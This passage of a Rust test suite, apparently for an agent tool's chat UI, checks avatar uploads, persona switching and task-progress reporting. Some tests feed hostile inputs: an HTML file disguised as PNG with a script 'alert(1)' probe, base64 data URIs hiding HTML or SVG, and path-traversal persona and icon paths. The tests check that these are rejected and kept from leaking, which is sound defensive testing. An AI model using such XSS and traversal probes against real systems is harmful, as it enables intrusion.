13839 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13840 assert_eq!(
13841 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13842 md::to_nodes("# Status", &md::ImageBase::None),
13843 );
13844 }
13845
13846 #[tokio::test]
13847 async fn notification_display_recovers_exact_legacy_completion_references() {
13848 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13849 let mut conversation = ui.talks.get(&id).unwrap();
13850 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13851 id: "task-123",
13852 title: "Change",
13853 status: "done",
13854 reason: None,
13855 run: Some("run-123"),
13856 pr: None,
13857 summary: Some("Merge state unknown"),
13858 });
13859 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13860 conversation.turns[0].sender = None;
13861 conversation.turns[0].messages.clear();
13862 conversation.turns[0].breaks = None;
13863 conversation.pending = body.clone();
13864 conversation
13865 .completion_notices
13866 .push(crate::chat_notify::CompletionReference {
13867 task: "task-123".into(),
13868 run: Some("run-123".into()),
13869 notice: body.clone(),
13870 });
13871 ui.talks.put(&mut conversation).unwrap();
13872 let view = TalkView::with_config(
13873 ui.talks.get(&id).unwrap(),
13874 false,
13875 None,
13876 &ui.home,
13877 &ui.references,
13878 );
13879 assert_eq!(
13880 view.talk.turns[0].messages[0].display,
13881 Some(display.clone())
13882 );
13883 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13884 assert_eq!(
13885 view.talk.turns[0].messages[0].sender,
13886 Some(talk::Sender::Magi)
13887 );
13888 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13889 conversation.completion_notices[0]
13890 .notice
13891 .push_str("different");
13892 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13893 assert!(view.talk.turns[0].messages.is_empty());
13894 assert!(view.talk.pending_messages.is_empty());
13895 }
13896
13897 #[tokio::test]
13898 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13899 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13900 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13901 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13902 ))
13903 .await;
13904 let path = avatar_setting_path(home.path(), Some("rei"));
13905 let orphan = avatar_setting_path(home.path(), Some("removed"));
13906 save_icon_file(&orphan, icon).unwrap();
13907 for (saved, expected) in [
13908 (icon, "custom"),
13909 ("builtin", "builtin"),
13910 ("data:image/png;base64,!!!!", "inherit"),
13911 ("data:image/png;base64,PGh0bWw+", "inherit"),
13912 ("/tmp/avatar.png", "inherit"),
13913 ] {
13914 atomic_icon_write(&path, saved).unwrap();
13915 let catalog =
13916 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13917 .await
13918 .unwrap()
13919 .0;
13920 let personas = catalog["personas"].as_array().unwrap();
13921 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13922 assert_eq!(rei["override_state"], expected);
13923 assert_eq!(rei["has_config_icon"], true);
13924 assert_eq!(rei["is_orphan"], false);
13925 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13926 assert_eq!(removed["override_state"], "custom");
13927 assert_eq!(removed["is_orphan"], true);
13928 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13929 assert_eq!(default["override_state"], "inherit");
13930 assert_eq!(default["has_config_icon"], false);
13931 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13932 assert_eq!(
13933 effective.as_deref(),
13934 Some(if expected == "builtin" { "" } else { icon })
13935 );
13936 }
13937 }
13938
13939 #[tokio::test]
13940 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13941 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13942 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13943 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13944 ))
13945 .await;
13946 let target = |id: Option<&str>| AvatarSettingsQuery {
13947 persona: id.map(str::to_owned),
13948 ..Default::default()
13949 };
13950 let original_config = config_for(&repo).await.unwrap();
13951 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13952 let original_prompt = persona::section_for(&original_persona, None);
13953 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13954 .await
13955 .unwrap()
13956 .0;
13957 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13958 let _ = avatar_settings_put(
13959 State(ui.clone()),
13960 Query(target(persona)),
13961 Json(MagiIconUpload { icon: icon.into() }),
13962 )
13963 .await
13964 .unwrap();
13965 let path = avatar_setting_path(home.path(), persona);
13966 assert!(path.starts_with(home.path().join("avatars")));
13967 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13968 for bad in [
13969 "/tmp/image.png".to_owned(),
13970 "data:image/png;base64,!!!!".to_owned(),
13971 "data:image/png;base64,PGh0bWw+".to_owned(),
13972 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13973 format!(
13974 "data:image/png;base64,{}",
13975 "A".repeat(persona_icon::ICON_MAX_BYTES)
13976 ),
13977 ] {
13978 assert!(
13979 avatar_settings_put(
13980 State(ui.clone()),
13981 Query(target(persona)),
13982 Json(MagiIconUpload { icon: bad })
13983 )
13984 .await
13985 .is_err()
13986 );
13987 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13988 }
13989 }
13990 assert!(read_magi_icon(home.path()).is_none());
13991 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13992 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13993 .await
13994 .unwrap()
13995 .0;
13996 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13997 assert_ne!(
13998 before
13999 .personas
14000 .iter()
14001 .find(|p| p.id == "magi")
14002 .unwrap()
14003 .avatar,
14004 after
14005 .personas
14006 .iter()
14007 .find(|p| p.id == "magi")
14008 .unwrap()
14009 .avatar
14010 );
14011 let restarted = Arc::new(Ui::new(
14012 Queue::at(home.path().join("queue")),
14013 Questions::at(home.path().join("questions")),
14014 Talks::at(home.path().join("talks")),
14015 home.path().join("runs"),
14016 home.path().to_owned(),
14017 repo,
14018 ));
14019 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14020 .await
14021 .unwrap()
14022 .0;
14023 assert!(
14024 catalog["personas"]
14025 .as_array()
14026 .unwrap()
14027 .iter()
14028 .any(|p| p["id"] == "../custom/日本語")
14029 );
14030 for expected in ["custom", "default", "rei"] {
14031 assert!(
14032 catalog["personas"]
14033 .as_array()
14034 .unwrap()
14035 .iter()
14036 .any(|p| p["id"] == expected)
14037 );
14038 }
14039 let response =
14040 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14041 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14042 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14043 .await
14044 .unwrap();
14045 assert_eq!(
14046 effective_persona_icon(home.path(), "rei", Some(icon)),
14047 Some(String::new())
14048 );
14049 let response = talk_avatar(
14050 State(restarted.clone()),
14051 Path(id.clone()),
14052 Query(AvatarQuery {
14053 persona: Some("rei".into()),
14054 ..Default::default()
14055 }),
14056 )
14057 .await
14058 .unwrap();
14059 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14060 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14061 .await
14062 .unwrap()
14063 .0;
14064 assert_ne!(
14065 after
14066 .personas
14067 .iter()
14068 .find(|p| p.id == "rei")
14069 .unwrap()
14070 .avatar,
14071 reset
14072 .personas
14073 .iter()
14074 .find(|p| p.id == "rei")
14075 .unwrap()
14076 .avatar
14077 );
14078 let mut inherit = target(Some("rei"));
14079 inherit.inherit = Some("1".into());
14080 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14081 .await
14082 .unwrap();
14083 assert_eq!(
14084 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14085 Some(icon)
14086 );
14087 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14088 .await
14089 .unwrap();
14090 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14091 assert_eq!(
14092 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14093 Some(icon)
14094 );
14095 let cfg = config_for(&ui.repo).await.unwrap();
14097 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14098 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14099 assert!(!original_prompt.contains("data:image"));
14100 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14101 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14102 assert!(!stored.contains("data:image"));
14103 let mut orphan = ui.talks.get(&id).unwrap();
14104 orphan.persona = "../custom/日本語".into();
14105 let view = TalkView::with_config(
14106 orphan,
14107 false,
14108 Some(&cfg),
14109 home.path(),
14110 &id_links::IndexCache::default(),
14111 );
14112 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14113 }
14114
14115 #[tokio::test]
14116 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14117 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14118 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14119 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14120 let _ = magi_icon_put(
14121 State(ui.clone()),
14122 Json(MagiIconUpload { icon: icon.into() }),
14123 )
14124 .await
14125 .unwrap();
14126 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14127 assert_ne!(original, changed);
14128 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14129 let response = magi_avatar(
14130 State(ui.clone()),
14131 Query(AvatarQuery {
14132 persona: None,
14133 builtin: None,
14134 }),
14135 )
14136 .await;
14137 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14138 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14139 assert_eq!(
14140 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14141 "nosniff"
14142 );
14143 for bad in [
14144 "data:image/png;base64,PGh0bWw+".to_owned(),
14145 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14146 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14147 ] {
14148 assert!(save_magi_icon(home.path(), &bad).is_err());
14149 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14150 }
14151 let restarted = Arc::new(Ui::new(
14153 Queue::at(home.path().join("queue")),
14154 Questions::at(home.path().join("questions")),
14155 Talks::at(home.path().join("talks")),
14156 home.path().join("runs"),
14157 home.path().to_path_buf(),
14158 repo,
14159 ));
14160 assert_eq!(
14161 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14162 changed
14163 );
14164 let view = TalkView::with_config(
14165 restarted.talks.get(&id).unwrap(),
14166 false,
14167 None,
14168 &restarted.home,
14169 &restarted.references,
14170 );
14171 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14172 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14173 let response = magi_avatar(
14174 State(ui.clone()),
14175 Query(AvatarQuery {
14176 persona: None,
14177 builtin: None,
14178 }),
14179 )
14180 .await;
14181 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14182 .await
14183 .unwrap();
14184 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14185 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14186 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14187 let _ = magi_icon_delete(State(ui)).await.unwrap();
14188 }
14189
14190 async fn avatar(
14192 ui: &Arc<Ui>,
14193 id: &str,
14194 persona: Option<&str>,
14195 builtin: bool,
14196 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14197 let res = talk_avatar(
14198 State(Arc::clone(ui)),
14199 Path(id.to_owned()),
14200 Query(AvatarQuery {
14201 persona: persona.map(str::to_owned),
14202 builtin: builtin.then(|| "1".to_owned()),
14203 }),
14204 )
14205 .await
14206 .expect("an avatar is never an error response");
14207 let h = res.headers();
14208 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14209 let nosniff = h
14210 .get(header::X_CONTENT_TYPE_OPTIONS)
14211 .is_some_and(|v| v == "nosniff");
14212 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14213 let status = res.status();
14214 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14215 .await
14216 .expect("body")
14217 .to_vec();
14218 (status, ct, nosniff, csp, body)
14219 }
14220
14221 fn tiny_png() -> Vec<u8> {
14222 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14223 b.extend_from_slice(&[0u8; 32]);
14224 b
14225 }
14226
14227 #[tokio::test]
14228 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14229 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14230 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14231 assert_eq!(res.status(), StatusCode::OK);
14232 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14233 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14234 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14235 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14236 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14237 .await
14238 .unwrap();
14239 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14240 assert_ne!(
14241 persona_icon::operator_svg(),
14242 persona_icon::builtin_svg("default")
14243 );
14244 }
14245
14246 #[tokio::test]
14247 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14248 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14249 for p in [
14250 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14251 ] {
14252 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14253 assert_eq!(status, StatusCode::OK, "{p}");
14254 assert_eq!(ct, "image/svg+xml", "{p}");
14255 assert!(nosniff && csp, "{p}");
14256 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14257 }
14258 let own = avatar(&ui, &id, None, false).await;
14260 let default = avatar(&ui, &id, Some("default"), false).await;
14261 assert_eq!(own.4, default.4);
14262 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14263 assert_eq!(unknown.1, "image/svg+xml");
14264 }
14265
14266 #[tokio::test]
14267 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14268 let dir = TempDir::new().expect("icons");
14269 let good = dir.path().join("good.png");
14270 std::fs::write(&good, tiny_png()).unwrap();
14271 let spoof = dir.path().join("spoof.png");
14272 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14273 let big = dir.path().join("big.png");
14274 let mut bytes = tiny_png();
14275 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14276 std::fs::write(&big, bytes).unwrap();
14277 let missing = dir.path().join("missing.png");
14278 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14279 let extra = format!(
14280 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14281 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14282 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14283 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14284 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14285 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14286 uri(&good),
14287 uri(&spoof),
14288 uri(&big),
14289 uri(&missing),
14290 );
14291 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14292
14293 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14294 assert_eq!(
14295 (status, ct.as_str(), nosniff),
14296 (StatusCode::OK, "image/png", true)
14297 );
14298 assert_eq!(body, tiny_png());
14299 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14300 assert_eq!(ct, "image/png", "data URI");
14301
14302 for p in ["misato", "asuka", "shinji", "magi"] {
14303 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14304 assert_eq!(
14305 (status, ct.as_str(), csp),
14306 (StatusCode::OK, "image/svg+xml", true),
14307 "{p}"
14308 );
14309 assert!(body.starts_with(b"<svg"), "{p}");
14310 }
14311 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14313 assert_eq!(ct, "image/svg+xml");
14314 }
14315
14316 #[tokio::test]
14317 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14318 let oversized = format!(
14319 "data:image/png;base64,{}",
14320 "A".repeat(persona_icon::ICON_MAX_BYTES)
14321 );
14322 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14323 let extra = format!(
14324 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14325 );
14326 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14327 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14328 .await
14329 .expect("detail with invalid icon");
14330 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14331 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14332 assert_eq!(status, StatusCode::OK);
14333 assert_eq!(ct, "image/svg+xml");
14334 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14335 let Json(view) = talk_persona(
14336 State(Arc::clone(&ui)),
14337 Path(id.clone()),
14338 Json(TalkPersona {
14339 persona: "custom".into(),
14340 }),
14341 )
14342 .await
14343 .expect("persona switch with invalid icon");
14344 assert_eq!(view.talk.persona, "custom");
14345 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14346 }
14347 }
14348
14349 #[tokio::test]
14350 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14351 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14352 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14353 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14354 assert_eq!(
14355 (status, ct.as_str(), nosniff, csp),
14356 (StatusCode::OK, "image/svg+xml", true, true)
14357 );
14358 }
14359
14360 #[tokio::test]
14361 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14362 let (_t, _h, ui, id, _repo) =
14363 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14364 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14365 .await
14366 .expect("detail");
14367 let json = serde_json::to_string(&detail).unwrap();
14368 assert!(
14369 !json.contains("secret"),
14370 "the icon setting must not leak: {json}"
14371 );
14372 assert!(
14373 detail
14374 .view
14375 .persona_avatar
14376 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14377 );
14378 assert_eq!(
14379 detail.view.operator_avatar,
14380 format!(
14381 "/avatars/operator.svg?v={}",
14382 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14383 )
14384 );
14385 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14386 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14387 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14388 assert!(rei.avatar.contains("persona=rei&v="));
14389 assert_ne!(
14390 rei.avatar.split("&v=").nth(1),
14391 plain.avatar.split("&v=").nth(1)
14392 );
14393 }
14394
14395 #[tokio::test]
14396 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14397 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14398 let cfg = config_for(&repo).await.unwrap();
14399 for arrived in [false, true] {
14400 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14401 let observed = ui.queued_generation(&id);
14402 let talk = ui.talks.get(&id).unwrap();
14403 if arrived {
14404 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14405 }
14406 let mut settling = std::pin::pin!(settle_settings_turn(
14407 talk,
14408 ui.talks.clone(),
14409 cfg.clone(),
14410 id.clone(),
14411 turn,
14412 observed
14413 ));
14414 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14415 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14416 assert_eq!(first.is_pending(), arrived);
14417 if arrived {
14418 assert!(!settling.await);
14419 }
14420 assert!(!ui.is_thinking(&id));
14421 }
14422 }
14423
14424 #[tokio::test]
14425 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14426 let tmp = TempDir::new().expect("tempdir");
14427 let repo = tmp.path().join("repo");
14428 std::fs::create_dir_all(&repo).expect("repo dir");
14429 std::fs::write(
14430 repo.join("magi.toml"),
14431 format!(
14432 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14433 ),
14434 )
14435 .expect("write magi.toml");
14436 let home = TempDir::new().expect("temp home");
14437 let talks = Talks::at(home.path().join("talks"));
14438 let ui = Arc::new(
14439 Ui::new(
14440 Queue::at(home.path().join("queue")),
14441 Questions::at(home.path().join("questions")),
14442 talks.clone(),
14443 home.path().join("runs"),
14444 home.path().to_path_buf(),
14445 repo.clone(),
14446 )
14447 .with_worktrees_root(home.path().join("wt")),
14448 );
14449 let cfg = config_for(&repo).await.expect("discover config");
14450 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14451 let id = talk.id.clone();
14452 let call = |persona: &str| {
14453 talk_persona(
14454 State(Arc::clone(&ui)),
14455 Path(id.clone()),
14456 Json(TalkPersona {
14457 persona: persona.to_owned(),
14458 }),
14459 )
14460 };
14461
14462 let unknown = call("nobody").await.expect_err("unknown persona");
14463 assert_eq!(
14464 unknown.status,
14465 StatusCode::BAD_REQUEST,
14466 "{}",
14467 unknown.message
14468 );
14469
14470 {
14471 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14474 let busy = call("rei").await.expect_err("busy talk");
14475 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14476 assert!(
14477 busy.message.contains("a talk turn is running"),
14478 "{}",
14479 busy.message
14480 );
14481 drop(guard);
14482 }
14483 assert_eq!(talks.get(&id).expect("reload").persona, "");
14484
14485 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14486 assert_eq!(view.talk.persona, "gendo");
14487 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14488 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14489 for chosen in ["default", "gendo", "rei", "gendo"] {
14491 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14492 assert!(!view.thinking);
14493 assert!(!ui.is_thinking(&id));
14494 }
14495
14496 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14497 .await
14498 .expect("detail");
14499 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14500 assert_eq!(ids.first(), Some(&"default"));
14501 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14502
14503 let Json(view) = call("default").await.expect("back to default");
14504 assert_eq!(view.talk.persona, "");
14505
14506 let mut closed = talks.get(&id).expect("reload");
14507 talk::close(&mut closed, &talks).expect("close");
14508 let refused = call("rei").await.expect_err("closed talk");
14509 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14510 assert!(
14511 refused.message.contains("takes no more turns"),
14512 "{}",
14513 refused.message
14514 );
14515 }
14516
14517 #[tokio::test]
14518 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14519 let f = Fixture::start().await;
14520 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14521 let queue = f.queue();
14522 let mut mine = Task::new(
14523 "rename the loader".to_owned(),
14524 "rename the loader".to_owned(),
14525 PathBuf::from("/repo/magi"),
14526 Source::Agent {
14527 run: talk_id.clone(),
14528 node: "chat".to_owned(),
14529 },
14530 );
14531 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14532 assert_eq!(empty["task_progress"]["state"], "none");
14533 assert_eq!(empty["task_progress"]["total"], 0);
14534 queue.put(&mut mine).expect("file the task");
14535 let mut theirs = Task::new(
14536 "unrelated".to_owned(),
14537 "unrelated".to_owned(),
14538 PathBuf::from("/repo/magi"),
14539 Source::Human,
14540 );
14541 theirs.origin_chat = Some(talk_id.clone());
14543 queue.put(&mut theirs).expect("file the task");
14544
14545 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14546 assert_eq!(res.status, 200, "{}", res.body);
14547 let body = res.json();
14548 assert_eq!(
14549 body["status"], "open",
14550 "filing a task does not close a talk"
14551 );
14552 let tasks = body["tasks"].as_array().expect("tasks array");
14553 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14554 assert_eq!(tasks[0]["id"], mine.id);
14555 for status in [
14556 TaskStatus::Queued,
14557 TaskStatus::Running,
14558 TaskStatus::Held,
14559 TaskStatus::Failed,
14560 TaskStatus::Blocked,
14561 TaskStatus::Parked,
14562 TaskStatus::Done,
14563 TaskStatus::Queued,
14564 ] {
14565 mine.status = status;
14566 queue.put(&mut mine).expect("update status");
14567 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14568 let progress = &detail["task_progress"];
14569 assert_eq!(progress["total"], 1);
14570 assert_eq!(progress["counts"][status.as_str()], 1);
14571 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14572 assert_eq!(detail["status"], "open", "completion never closes the chat");
14573 if status == TaskStatus::Done {
14574 assert_eq!(progress["state"], "complete");
14575 assert_eq!(progress["done"], 1);
14576 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14577 } else {
14578 assert_eq!(progress["state"], "incomplete");
14579 assert_eq!(progress["done"], 0);
14580 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14581 }
14582 }
14583 }
14584
14585 #[test]
14586 fn talk_task_progress_counts_mixed_statuses() {
14587 let mut tasks: Vec<_> = [
14588 TaskStatus::Queued,
14589 TaskStatus::Running,
14590 TaskStatus::Held,
14591 TaskStatus::Failed,
14592 TaskStatus::Blocked,
14593 TaskStatus::Parked,
14594 TaskStatus::Done,
14595 ]
14596 .into_iter()
14597 .map(|status| {
14598 let mut task = Task::new(
14599 "task".into(),
14600 "task".into(),
14601 PathBuf::from("/repo"),
14602 Source::Human,
14603 );
14604 task.status = status;
14605 task
14606 })
14607 .collect();
14608 let progress = talk_task_progress(&tasks);
14609 assert_eq!(progress.state, "incomplete");
14610 assert_eq!(progress.total, 7);
14611 assert_eq!(progress.done, 1);
14612 assert_eq!(progress.unfinished_ids.len(), 6);
14613 assert!(progress.counts.values().all(|count| *count == 1));
14614 assert_eq!(
14615 progress.unfinished_ids,
14616 tasks[..6]
14617 .iter()
14618 .map(|task| task.id.clone())
14619 .collect::<Vec<_>>()
14620 );
14621
14622 for task in &mut tasks {
14623 task.status = TaskStatus::Done;
14624 }
14625 let complete = talk_task_progress(&tasks);
14626 assert_eq!(complete.state, "complete");
14627 assert_eq!(complete.done, 7);
14628 assert!(complete.unfinished_ids.is_empty());
14629 tasks[0].status = TaskStatus::Queued;
14630 let requeued = talk_task_progress(&tasks);
14631 assert_eq!(requeued.state, "incomplete");
14632 assert_eq!(requeued.done, 6);
14633 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14634
14635 let empty = talk_task_progress(&[]);
14636 assert_eq!(empty.state, "none");
14637 assert_eq!(empty.total, 0);
14638 assert_eq!(empty.done, 0);
14639 assert!(empty.unfinished_ids.is_empty());
14640 assert!(empty.counts.values().all(|count| *count == 0));
14641 }
14642
14643 #[tokio::test]
14644 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14645 let (_tmp, _repo, f) = talk_fixture().await;
14646 let id = f.post("/api/talks", None).await.json()["id"]
14647 .as_str()
14648 .expect("id")
14649 .to_owned();
14650
14651 let res = f
14652 .post(
14653 &format!("/api/talks/{id}/say"),
14654 Some(r#"{"text":"what does the queue module do?"}"#),
14655 )
14656 .await;
14657 assert_eq!(res.status, 202, "{}", res.body);
14658 let queued = res.json();
14659 let turns = queued["turns"].as_array().expect("turns array");
14660 assert_eq!(
14661 turns.len(),
14662 1,
14663 "the answer reflects only what is on disk the instant it is sent, \
14664 before the agent's turn - which can run for the whole of \
14665 `[graph] timeout_talk` - has a chance to land: {queued}"
14666 );
14667 assert_eq!(turns[0]["who"], "operator");
14668 assert_eq!(turns[0]["body"], "what does the queue module do?");
14669 assert_eq!(
14670 queued["thinking"], true,
14671 "the accepted response exposes the background turn claim: {queued}"
14672 );
14673
14674 let mut turns_after = 1;
14675 for _ in 0..SETTLE_STEPS {
14676 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14677 turns_after = detail["turns"].as_array().expect("turns array").len();
14678 if turns_after == 2 {
14679 break;
14680 }
14681 tokio::time::sleep(Duration::from_millis(10)).await;
14682 }
14683 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14684 }
14685
14686 #[tokio::test]
14713 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14714 let tmp = TempDir::new().expect("tempdir");
